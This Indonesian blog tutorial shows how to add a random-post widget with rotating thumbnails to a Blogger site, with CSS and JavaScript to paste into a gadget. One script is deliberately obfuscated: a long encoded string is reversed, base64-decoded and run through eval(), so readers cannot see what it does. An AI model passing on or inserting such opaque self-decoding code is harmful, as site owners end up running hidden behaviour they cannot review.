Cara Membuat Random Post di Blogspot dengan Thumbnail dan Berputar

Iklan
Cara Buat Random Post dengan Thumbnail dan Berputar - Sebelumnya saya juga pernah menulis artikel tentang Cara Membuat Widget Randomm Post Blog, namun Widget tersebut tidak memiliki thumbnail atau gambar pada setiap judulunya. Nah, kali ini saya akan memberikan tutorial tentang buat random post blogger dengan thumbnail dan bisa berputar.

Random post / post acak ini sangat bermanfaat jika dipasang di blog, kenapa?. Karena posting atau artikel lama akan kembali tampil di widget sobat dan bisa menambah page view jika pengunjung melihat dan membuka posting-posting sobat yang lama.

Random post yang akan saya sampaikan ini yaitu random post yang memiliki gambar dan gambar tersebut bisa berputar ketika mouse menyentuh gambar tersebut. Sobat bisa taruh di atas, bawah, ataupun samping blog sobat karena tampilannya yang menarik. Berikut tampilan Widget random post dengan thumnail dan berputar tersebut :

Random, post


Cara Membuat Random Post di Blogspot dengan Thumbnail dan Berputar

Untuk memasangnya sangatlah mudah dan simpel. Berikut langkah-langkahnya,

1. Silahkan login ke akun blogger sobat.
2. Lalu buka Tata Letak (Layout) => Tambah Gadget (Add a Gadget) => HTML/Javascript.
3. Lalu masukkan kode berikut ini pada kotak yang tersedia,

<style> #random-posts img{float:left;margin-right:10px;margin-bottom:10px;width:55px;height:55px;padding:3px;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;transition:all 0.5s ease;padding:4px;background: #eee;background: -webkit-gradient(linear, left top, left bottom, from(#eee), color-stop(0.5, #ddd), color-stop(0.5, #c0c0c0), to(#aaa));background: -moz-linear-gradient(top, #eee, #ddd 50%, #c0c0c0 50%, #aaa);-webkit-border-radius: 4px;-moz-border-radius: 4px;border-radius: 4px;-webkit-box-shadow: 0 0 3px rgba(0,0,0,.7);-moz-box-shadow: 0 0 3px rgba(0,0,0,.7);box-shadow: 0 0 3px rgba(0,0,0,.7);} #random-posts img:hover{-moz-transform: scale(1.2) rotate(-350deg);-webkit-transform: scale(1.2) rotate(-350deg);-o-transform: scale(1.2) rotate(-350deg);-ms-transform: scale(1.2) rotate(-350deg);transform: scale(1.2) rotate(-350deg);-webkit-box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);-moz-box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);} </style><div id='random-posts'>
<script type='text/javaScript'>
var latesthack_numposts=7;var latesthack_snippet_length=150;var latesthack_info='yes';var latesthack_comment='Comments';var latesthack_disable='Comments Disabled';var latesthack_current=[];var latesthack_total_posts=0;var latesthack_current=new Array(latesthack_numposts);function totalposts(a){latesthack_total_posts=a.feed.openSearch$totalResults.$t}document.write('<script type=\"text/javascript\" src=\"/feeds/posts/default?alt=json-in-script&max-results=0&callback=totalposts\"><\/script>');function getvalue(){for(var i=0;i<latesthack_numposts;i++){var a=false;var b=get_random();for(var j=0;j<latesthack_current.length;j++){if(latesthack_current[j]==b){a=true;break}};if(a){i--}else{latesthack_current[i]=b}}};function get_random(){var a=1+Math.round(Math.random()*(latesthack_total_posts-1));return a};
</script>
<script language="javascript" type="text/javascript">var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _1lI(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;} ;function _1O1(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;} ;var _00I='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';eval(_1lI(_1O1(_00I)));</script></div>


# Perhatian :
numposts=7 <= Ganti angka 7 dengan jumlah post yang sobat ingin tampilkan.

4. Lalu simpan. Sekarang sobat bisa lihat hasilnya di blog sobat. Sobat sesuaikan saja tempatnya. Pilihlah tempat yang tidak terkesan ramai supaya pengunjung tertarik untuk membukanya.

Sampai di sini dulu Panduan Cara Membuat Random Post di Blogspot dengan Thumbnail dan Berputar ini. Semoga bisa memanfaatkannya. Jika ada pertanyaan silahkan tinggalkan komentar di bawah.

Sumber Code : Hzndi Blog